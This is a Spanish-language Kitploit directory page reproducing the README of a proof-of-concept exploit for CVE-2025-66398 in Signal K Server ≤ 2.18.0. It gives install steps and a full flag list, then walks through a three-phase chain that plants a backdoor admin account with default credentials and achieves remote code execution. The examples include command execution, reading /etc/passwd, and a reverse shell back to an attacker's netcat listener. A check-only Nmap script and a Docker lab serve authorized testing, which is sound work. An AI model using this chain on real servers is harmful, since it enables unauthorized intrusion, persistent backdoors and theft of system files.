Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2025-66398 — CVE-2025-66398 — Signal K Server ≤ 2.18.0 RCE PoC | Kitploit
Herramientas/GitHubGitHub/joshuavanderpoll/cve-2025-66398
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAprendizaje y EducaciónRed TeamingHerramienta de Acceso RemotoDesarrollo de PayloadsLabs y Práctica
GitHubjoshuavanderpoll/cve-2025-66398
27hace 6 mesesAún no revisado

cve-2025-66398

CVE-2025-66398 — Signal K Server ≤ 2.18.0 RCE PoC

Ver RepositorioSitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-66398 — PoC de RCE en Signal K Server

Go Python Nmap

📜 Descripción

CVE-2025-66398 es un problema del Servidor Signal K donde un atacante no autenticado puede envenenar el estado de restauración del servidor a través de /skServer/validateBackup, luego secuestrar la configuración mediante /skServer/restore para inyectar una cuenta de administrador backdoor y (opcionalmente) lograr RCE cambiando la estrategia de seguridad a un módulo Node.js controlado por el atacante.

Signal K Server ≤ 2.18.0

Versiones afectadas:

Impacto (alto nivel): contaminación de estado no autenticada → inyección de administrador backdoor → ejecución remota de código (cuando ocurre una restauración + reinicio)

✨ Características

  • Verificación de vulnerabilidad — Prueba si /skServer/validateBackup acepta cargas no autenticadas.
  • Script NSE de Nmap — http-signalk-cve-2025-66398.nse listo para usar en escaneos de red (solo verificación, sin explotación).
  • Flujo de explotación interactivo — Te guía a través de las 3 fases y solicita credenciales/rutas.
  • Modo no interactivo — Ejecuta la cadena completa con banderas (verificación, ejecución de comandos, lectura/escritura de archivos, reverse shell).

🛠️ Instalación

Python

OSX/Linux

root@kitploit:~
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

Windows

root@kitploit:~
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt

GoLang

root@kitploit:~
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
go build -o exp cve-2025-66398.go

Instalar directamente con Go

root@kitploit:~
go install github.com/joshuavanderpoll/cve-2025-66398@latest

Ejecutar sin instalar

root@kitploit:~
go run github.com/joshuavanderpoll/cve-2025-66398@latest -target http://127.0.0.1:8111

⚙️ Uso

Este PoC tiene dos modos:

  • Interactivo (predeterminado): indicaciones guiadas + un pequeño menú.
  • No interactivo: pasa banderas como -check, -command, -read-file, etc. (Solo se recomienda si el primer modo interactivo fue exitoso)

Ayuda / opciones

root@kitploit:~
python3 cve-2025-66398.py -h
# o la versión GoLang
./cve-2025-66398 -h
                ___ __ ___ ___      __   __ _______ ___ 
  ____ _____ __|_  )  \_  ) __|___ / /  / /|__ / _ ( _ )
 / _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
 \__|\_/\___|  /___\__/___|___/   \___/\___/___//_/\___/
                                                        
  https://github.com/joshuavanderpoll/cve-2025-66398

usage: exp.py [-h] [-target URL] [-useragent UA] [-timeout SEC] [-target-os OS] [-signalk-dir DIR] [-check] [-admin-user USER] [-admin-pass PASS] [-backdoor-user USER] [-backdoor-pass PASS] [-command CMD]
              [-read-file PATH] [-write-file CONTENT PATH] [-code CODE] [-shell] [-lhost HOST] [-lport PORT]

CVE-2025-66398 -- Signal K State Pollution -> Backdoor -> RCE

options:
  -h, --help            show this help message and exit
  -target URL           Base URL of the Signal K server
  -useragent UA         User-Agent header for all HTTP requests
  -timeout SEC          Request timeout in seconds (default: 10)
  -target-os OS         Target server OS for payload/path adaptation: linux (default) or windows
  -signalk-dir DIR      Override the Signal K data directory on the target (default: OS-dependent)
  -check                Test if the target is vulnerable without exploiting it
  -admin-user USER      Admin username for Phase 2 restore
  -admin-pass PASS      Admin password for Phase 2 restore
  -backdoor-user USER   Backdoor username to inject (default: backdoor)
  -backdoor-pass PASS   Backdoor password to inject (default: H4CK1nd3x!)
  -command CMD          Execute a command on the server (non-interactive)
  -read-file PATH       Read a remote file via RCE
  -write-file CONTENT PATH
                        Write CONTENT to PATH on the server via RCE
  -code CODE            Inject raw Node.js code as the security module
  -shell                Deploy a reverse shell (requires -lhost and -lport)
  -lhost HOST           Listener host for reverse shell
  -lport PORT           Listener port for reverse shell

Verificación rápida (segura)

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -check
# o la versión GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -check

Check vulnerability

Verificación con Nmap NSE

Se incluye un script independiente de Nmap que realiza la misma sonda no autenticada — sin explotación.

root@kitploit:~
# Contra un puerto conocido de Signal K
nmap -p 3000 --script ./http-signalk-cve-2025-66398.nse <target>

# Instalar en todo el sistema y ejecutar sin ruta
sudo cp http-signalk-cve-2025-66398.nse $(nmap --datadir)/scripts/
sudo nmap --script-updatedb
nmap -p 3000 --script http-signalk-cve-2025-66398 <target>

Ejemplo de salida:

root@kitploit:~
PORT     STATE SERVICE
9360/tcp open  unknown
| http-signalk-cve-2025-66398: 
|   state: VULNERABLE
|   title: Signal K Server Unauthenticated Backup Upload leading to RCE
|   IDs: CVE-2025-66398
|_  references: https://github.com/joshuavanderpoll/cve-2025-66398  |  https://www.cve.org/CVERecord?id=CVE-2025-66398

Explotación interactiva (guiada)

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000
# o la versión GoLang
./cve-2025-66398 -target http://127.0.0.1:3000

Interactive script

El script hará lo siguiente:

  1. Fase 1 — Contaminación de estado: subir un .backup malicioso a /skServer/validateBackup (sin autenticación)
  2. Fase 2 — Secuestro de configuración: autenticarse como administrador y activar /skServer/restore
  3. Fase 3 — RCE: subir un segundo backup que apunte la estrategia de seguridad a un módulo malicioso, activar restauración, reiniciar y luego ejecutar tu comando/shell

Ejemplos no interactivos

Ejecutar la cadena completa (Fases 1 → 3) y ejecutar un comando:

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
# o la versión GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"

Command execution

Leer un archivo remoto (Fase 3):

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd
# o la versión GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd

Read file

Reverse shell (Fase 3):

root@kitploit:~
nc -lvnp 4444

python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <TU_IP> -lport 4444
# o la versión GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <TU_IP> -lport 4444

Reverse shell

Notas:

  • Si no pasas -admin-user/-admin-pass, el script asume que la cuenta backdoor ya está activa de una ejecución anterior.
  • Las credenciales predeterminadas del backdoor son backdoor / H4CK1nd3x! (anular con -backdoor-user / -backdoor-pass).
  • La Fase 3 necesita el directorio de datos de Signal K. El script intentará detectarlo automáticamente durante la Fase 2; si no puede, pasa -signalk-dir <DIR>.

🐋 Docker PoC

Un entorno Docker Compose autónomo con el software vulnerable para pruebas locales. Consulta DOCKER.md para más detalles

root@kitploit:~
cd docker/
docker compose up -d
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360 -check
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360

🕵🏼 Referencias

  • Signal K Server
  • NVD — CVE-2025-66398
  • HackIndex.io — CVE-2025-66398

📢 Descargo de responsabilidad

Este PoC es solo para fines educativos y pruebas de seguridad autorizadas. No lo ejecutes contra sistemas que no poseas o para los que no tengas permiso explícito para probar.

Descargar herramienta